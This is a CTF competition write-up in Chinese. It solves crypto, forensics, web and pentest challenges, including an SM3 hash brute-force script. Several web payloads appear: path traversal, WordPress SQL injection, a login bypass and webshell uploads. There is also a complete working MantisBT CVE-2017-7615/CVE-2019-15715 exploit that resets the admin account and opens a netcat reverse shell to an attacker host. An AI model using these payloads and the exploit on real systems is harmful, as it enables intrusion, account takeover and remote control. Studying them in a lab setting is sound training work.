文章总结: 这是一篇CTF比赛破阵阁·网安淬锋公开赛决赛的详细Writeup,涵盖MISC、Crypto、Forensics、WEB和Pentest五大类题目。文章详细记录了每道题的解题思路,包括代码审计发现隐藏文件、SM3哈希爆破、DNS外带数据分析、内存取证、流量分析、图片隐写、应急响应清除后门、PHP绕过技巧、验证码爆破、ReactServerComponentsRCE漏洞利用、WordPressSQL注入与getshell、文件包含漏洞、以及MantisBTCVE-2019-15715远程命令执行漏洞的完整利用链。每题均附有详细操作步骤、关键截图和最终flag,具有较强的实战参考价值。
综合评分: 85
文章分类: CTF,WEB安全,渗透测试,应急响应,漏洞分析
【WP】破阵阁・网安淬锋公开赛 决赛 题目全解
原创
F1rstb100d
F1rstb100d
智佳网络安全
2026年2月9日 12:58
北京
破阵阁・网安淬锋公开赛 决赛WP by F1rstb100d
MISC
unsetunset代码中的秘密unsetunset
访问http://175.27.169.122:42358/rips/
扫描目录/var/www/html/rips
看到/d0780c06-6c23-4b62-912b-f34c6e940c1b.php
打开文件看到flag
flag{d0780c06-6c23-4b62-912b-f34c6e940c1b}
unsetunset绕过合规悄悄的上线了unsetunset
在/faqs.html发现一个pdf网站使用手册
结尾处有账号密码
登陆后台即可
flag{1dba8827-17f4-4e22-ba0a-ed7b1c974a66}
Crypto
unsetunset寻迹烟海unsetunset
- 这些哈希值是由3字符可打印字符组合(trigram)进行SM3哈希得到
- 需要生成所有可能的3字符可打印字符组合的SM3哈希字典
- 使用字典反向查找每个哈希值,映射回明文三元组
- 将所有明文按顺序拼接,提取flag
# -*- coding: utf-8 -*-
"""
寻迹烟海 - SM3哈希反向查找解题脚本
生成所有可打印3字符组合的SM3哈希字典,并反查找目标哈希值
"""
from gmssl import sm3, func
from itertools import product
from tqdm import tqdm
# 可打印字符范围:0x20-0x7E (95个字符)
PRINTABLE_CHARS = [chr(i) for i in range(0x20, 0x7F)]
WORKDIR = "C:\\Users\\lenovo\\Desktop\\"
def sm3_hash(text: str) -> str:
"""
计算文本的SM3哈希值
"""
# 将文本编码为字节,然后转换为十六进制列表
msg_list = [c for c in text.encode('utf-8')]
# 计算SM3哈希,返回十六进制字符串
hash_bytes = sm3.sm3_hash(msg_list)
return hash_bytes
def generate_trigram_dict():
"""
生成所有3字符可打印字符组合的SM3哈希字典
返回: {hash_value: trigram}
"""
print("[+] 正在生成SM3哈希字典...")
print(f"[*] 可打印字符数: {len(PRINTABLE_CHARS)}")
print(f"[*] 三元组总数: {len(PRINTABLE_CHARS)**3}")
hash_dict = {}
# 使用进度条显示生成进度
total_combinations = len(PRINTABLE_CHARS) ** 3
pbar = tqdm(total=total_combinations, desc="生成字典")
for chars in product(PRINTABLE_CHARS, repeat=3):
trigram = ''.join(chars)
hash_value = sm3_hash(trigram)
hash_dict[hash_value] = trigram
pbar.update(1)
pbar.close()
print(f"[+] 字典生成完成!共 {len(hash_dict)} 条记录")
return hash_dict
def load_hashes(filepath: str):
"""
从文件加载目标哈希值
"""
print(f"[+] 正在加载哈希文件: {filepath}")
with open(filepath, 'r', encoding='utf-8') as f:
lines = f.readlines()
# 清理数据:移除空行和 <pre> 标签
hashes = []
for line in lines:
line = line.strip()
# 跳过空行和HTML标签
if not line or line.startswith('<'):
continue
# 验证哈希格式(64位十六进制)
if len(line) == 64 and all(c in '0123456789abcdef' for c in line.lower()):
hashes.append(line)
print(f"[+] 成功加载 {len(hashes)} 个哈希值")
return hashes
def decrypt_hashes(hashes: list, hash_dict: dict):
"""
使用字典反查所有哈希值,返回明文
"""
print(f"\n[+] 开始反查哈希值...")
results = []
not_found = []
for idx, h in enumerate(tqdm(hashes, desc="反查哈希")):
if h in hash_dict:
results.append(hash_dict[h])
else:
results.append('?') # 未找到的标记为?
not_found.append((idx, h))
if not_found:
print(f"\n[!] 警告: 有 {len(not_found)} 个哈希值未找到对应明文")
for idx, h in not_found[:10]: # 只显示前10个
print(f" 位置 {idx}: {h}")
if len(not_found) > 10:
print(f" ... (还有 {len(not_found)-10} 个)")
return results
def extract_flag(plaintext: str):
"""
从拼接的明文中提取flag
"""
print("\n[+] 正在查找 flag...")
# 查找 flag{...} 格式
start_idx = plaintext.find('flag{')
if start_idx != -1:
# 查找对应的结束大括号
depth = 0
end_idx = start_idx + 5
for i in range(start_idx + 5, len(plaintext)):
if plaintext[i] == '{':
depth += 1
elif plaintext[i] == '}':
if depth == 0:
end_idx = i + 1
break
depth -= 1
flag = plaintext[start_idx:end_idx]
print(f"[+] 找到 FLAG: {flag}")
return flag
else:
print("[!] 未找到标准格式的 flag")
# 尝试查找其他可能的格式
print("[*] 明文预览(前200字符):")
print(plaintext[:200])
return None
def main():
print("="*60)
print("寻迹烟海 - SM3哈希反向查找解题脚本")
print("="*60)
# 1. 生成SM3哈希字典
hash_dict = generate_trigram_dict()
# 2. 加载目标哈希值
hash_file = f"{WORKDIR}/hashes.txt"
target_hashes = load_hashes(hash_file)
# 3. 反查哈希值
plaintext_parts = decrypt_hashes(target_hashes, hash_dict)
# 4. 拼接明文
plaintext = ''.join(plaintext_parts)
print(f"\n[+] 明文拼接完成,总长度: {len(plaintext)} 字符")
# 5. 提取flag
flag = extract_flag(plaintext)
# 6. 保存结果
result_file = f"{WORKDIR}/plaintext.txt"
with open(result_file, 'w', encoding='utf-8') as f:
f.write(plaintext)
print(f"[+] 完整明文已保存到: {result_file}")
if flag:
flag_file = f"{WORKDIR}/flag.txt"
with open(flag_file, 'w', encoding='utf-8') as f:
f.write(flag + '\n')
print(f"[+] FLAG已保存到: {flag_file}")
print("\n[+] 解题完成!")
print("="*60)
if __name__ == "__main__":
main()
flag{71a21e8d-908f-4faf-81b1-6b5ac1ee83a3}
Forensics
unsetunsetFLAG 消失之谜unsetunset
看到有DNS外带
发现dns请求
ZmxhZ3tjNWFkMzM2Zi1hOTg5LTQ0OGItOGYzYS1hOWYxZjczMTkzNTB9.c07545bc.digimg.store
flag{c5ad336f-a989-448b-8f3a-a9f1f7319350}
unsetunset静影寻踪unsetunset
strings -e l target.raw | grep -i “flag”
flag{2e5d9a92-12d9-4472-a70e-2220c88ee0a0}
unsetunset一发入魂unsetunset
过滤47.76.182.195的流量
16进制转字符串
flag{0e7d86b1-aaf5-4b17-b20b-8492e8caacc9}
unsetunset锈蚀密钥unsetunset
隐写工具openstego.jar
隐写后的图片secret.bmp
提取隐藏信息
flag{204f8151-190d-4ff9-bb9e-200903e43d3e}
unsetunset应急拯救计划:隐匿潜袭unsetunset
看一下进程
删除木马文件/var/crash/tomcat
查看启动时的/etc/profile发现末尾也有启动后门的命令,删除
crontab -r清空计划任务
tomcat中webapps只有空白的login.jsp
去work目录找对应的代码
/opt/apache-tomcat-8.5.100/work/Catalina/localhost/a/org/apache/jsp
这里的login.java很明显是后门文件,直接清除a目录和example目录
/opt/apache-tomcat-8.5.100/webapps/manager/META-INF/context.xml
^.*$ 等于允许任意来源IP访问manager,应该改为只能本地访问
发现后门dev
userdel -rf dev
最后重启一下tomcat清除内存马即可
flag{7f86d02e-0c33-41d4-b6df-b4fbda3472f4}
WEB
unsetunsetSecure File Viewerunsetunset
扫目录发现file.php.bak
发现mylowercase函数处理文件名
如果字符 不是 小写字母 ( a-z ),就将其 ASCII 码加上 32
- 构造 / (ASCII 47) :需要输入 ASCII 15 ( 47 – 32 ),即控制字符 SI ,URL 编码为 %0F 。
- 构造 . (ASCII 46) :需要输入 ASCII 14 ( 46 – 32 ),即控制字符 SO ,URL 编码为 %0E 。
- 其他字符 flagtxt 本身就是小写字母,不会被改变。
- 最终 Payload : %0Fflag%0Etxt
- %0F -> /
- flag -> flag
- %0E -> .
- txt -> txt
- 结果: /flag.txt
http://175.27.169.122:22829/file.php?filename=%0Fflag%0Etxt
flag{c8e89e9a-d709-4d5e-b2d6-bcdade907b5e}
unsetunset源自于真实unsetunset
遍历四位验证码
验证码3648
登录测试账号了
修改/login2.php的登录用户为admin,继续爆破验证码
admin的验证码3244,跳转到account.php
flag{db320b72-8428-490c-862a-0af9f8eb1a57}
unsetunset这个笔记真的安全吗?unsetunset
发现next.js
React.Server.Components.RCE一把梭了
https://github.com/GelukCrab/React-Server-Components-RCE
flag{62f862e1-084b-4ad8-9d3c-9a56ea5ab51c}
Pentest
unsetunset东西很老,能用就好unsetunset
原题https://www.cnblogs.com/sunset2131/p/18420869
wordpress 1.5.1.1
根据wordpress表结构注入
?cat=0 union select 1,group_concat(user_login,0x2d,user_pass,0x2d,user_level),3,4,5 from wp_users
TobinWilliamson为10,权限最大
解出密码q1w2e3
登录后台
开启文件上传
上传getshell3.php
flag{48557de0-241a-402c-9100-34fbc6ed1698}
unsetunset综合挑战unsetunset
原题https://www.cnblogs.com/Fab1an/p/18361629
or%200%3d0%20%23%22 / =%5c登录
上传图片马
然后文件包含图片马即可
flag{6873034b-766d-4111-8899-47a387ba9926}
unsetunset内部监控暴露unsetunset
原题:https://www.cnblogs.com/cchl/articles/vulnhub_tre_1.html
访问/system接口,以admin:admin登录
访问http://175.27.169.122:59091/system/config/a.txt
$g_db_username = ‘mantissuser’;
$g_db_password = ‘vaZczvPvO1GTwkE’;
访问http://175.27.169.122:59091/adminer.php
将admin的密码替换为root字符串的md5
回到http://175.27.169.122:59091/system/login_page.php
以administrator:root登录
搜一下MantisBT 2.3.0 漏洞,找到CVE-2019-15715
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/MantisBT/%EF%BC%88CVE-2019-15715%EF%BC%89MantisBT%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
# Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
# Date: 2020-09-17
# Vulnerability Discovery: hyp3rlinx, permanull
# Exploit Author: Nikolas Geiselman
# Vendor Homepage: https://mantisbt.org/
# Software Link: https://mantisbt.org/download.php
# Version: 1.3.0/2.3.0
# Tested on: Ubuntu 16.04/19.10/20.04
# CVE : CVE-2017-7615, CVE-2019-15715
# References:
# https://mantisbt.org/bugs/view.php?id=26091
# https://www.exploit-db.com/exploits/41890
'''
This exploit chains together two CVE's to achieve unauthenticated remote code execution.
The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https://www.exploit-db.com/exploits/41890.
The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references).
Usage:
Set netcat listener on port 4444
Send exploit with "python exploit.py"
Example output:
kali@kali:~/Desktop$ python exploit.py
Successfully hijacked account!
Successfully logged in!
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up
kali@kali:~/Desktop$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.116.135] from (UNKNOWN) [192.168.116.151] 43978
bash: cannot set terminal process group (835): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/mantisbt-2.3.0$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
'''
import requests
from urllib import quote_plus
from base64 import b64encode
from re import split
class exploit():
def __init__(self):
self.s = requests.Session()
self.headers = {"Authorization":"Basic YWRtaW46YWRtaW4="} # Initialize the headers dictionary
self.RHOST = "175.27.169.122" # Victim IP
self.RPORT = "59091" # Victim port
self.LHOST = "x.x.x.x" # Attacker IP
self.LPORT = "4444" # Attacker Port
self.verify_user_id = "1" # User id for the target account
self.realname = "administrator" # Username to hijack
self.passwd = "root" # New password after account hijack
self.mantisLoc = "/system" # Location of mantis in URL
self.ReverseShell = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc "+ self.LHOST + " " + self.LPORT + " >/tmp/f" # Reverse shell payload
def reset_login(self):
# Request # 1: Grab the account update token
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='
r = self.s.get(url=url, headers=self.headers)
if r.status_code == 404:
print "ERROR: Unable to access password reset page"
exit()
account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]
# Request # 2: Reset the account password
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'
data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd
self.headers.update({'Content-Type': 'application/x-www-form-urlencoded'})
r = self.s.post(url=url, headers=self.headers, data=data)
if r.status_code == 200:
print "Successfully hijacked account!"
def login(self):
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
r = self.s.post(url=url, headers=self.headers, data=data)
if "login_page.php" not in r.url:
print "Successfully logged in!"
def CreateConfigOption(self, option, value):
# Get adm_config_set_token
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'
r = self.s.get(url=url, headers=self.headers)
adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]
# Create config
data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(
value) + "&action=create&config_set=Create+Configuration+Option"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'
r = self.s.post(url=url, headers=self.headers, data=data)
def TriggerExploit(self):
print "Triggering reverse shell"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'
try:
r = self.s.get(url=url, headers=self.headers, timeout=3)
except:
pass
def Cleanup(self):
# Delete the config settings that were created to send the reverse shell
print "Cleaning up"
cleaned_up = False
cleanup = requests.Session()
CleanupHeaders = dict()
CleanupHeaders.update({'Content-Type': 'application/x-www-form-urlencoded'})
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
r = cleanup.post(url=url, headers=CleanupHeaders, data=data)
ConfigsToCleanup = ['dot_tool', 'relationship_graph_enable']
for config in ConfigsToCleanup:
# Get adm_config_delete_token
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"
r = cleanup.get(url=url, headers=self.headers)
test = split('<!-- Repeated Info Rows -->', r.text)
# First element of the response list is garbage, delete it
del test[0]
cleanup_dict = dict()
for i in range(len(test)):
if config in test[i]:
cleanup_dict.update({'config_option': config})
cleanup_dict.update({'adm_config_delete_token':
test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
cleanup_dict.update({'user_id': test[i].split('name="user_id" value=')[1].split('"')[1]})
cleanup_dict.update({'project_id': test[i].split('name="project_id" value=')[1].split('"')[1]})
# Delete the config
print "Deleting the " + config + " config."
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"
data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict[
'user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict[
'config_option'] + "&_confirmed=1"
r = cleanup.post(url=url, headers=CleanupHeaders, data=data)
# Confirm if actually cleaned up
r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php",
headers=CleanupHeaders, verify=False)
if config in r.text:
cleaned_up = False
else:
cleaned_up = True
if cleaned_up == True:
print "Successfully cleaned up"
else:
print "Unable to clean up configs"
exploit = exploit()
exploit.reset_login()
exploit.login()
exploit.CreateConfigOption(option="relationship_graph_enable", value="1")
exploit.CreateConfigOption(option="dot_tool", value=exploit.ReverseShell + ';')
exploit.TriggerExploit()
exploit.Cleanup()
需要提权
刚好找到一个rwx权限的文件
写进去另一个反弹shell的命令,并监听6666
flag{fbdd0274-2b2b-4478-a283-dce28c5fe6c4}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:智佳网络安全 F1rstb100d
F1rstb100d《【WP】破阵阁・网安淬锋公开赛 决赛 题目全解》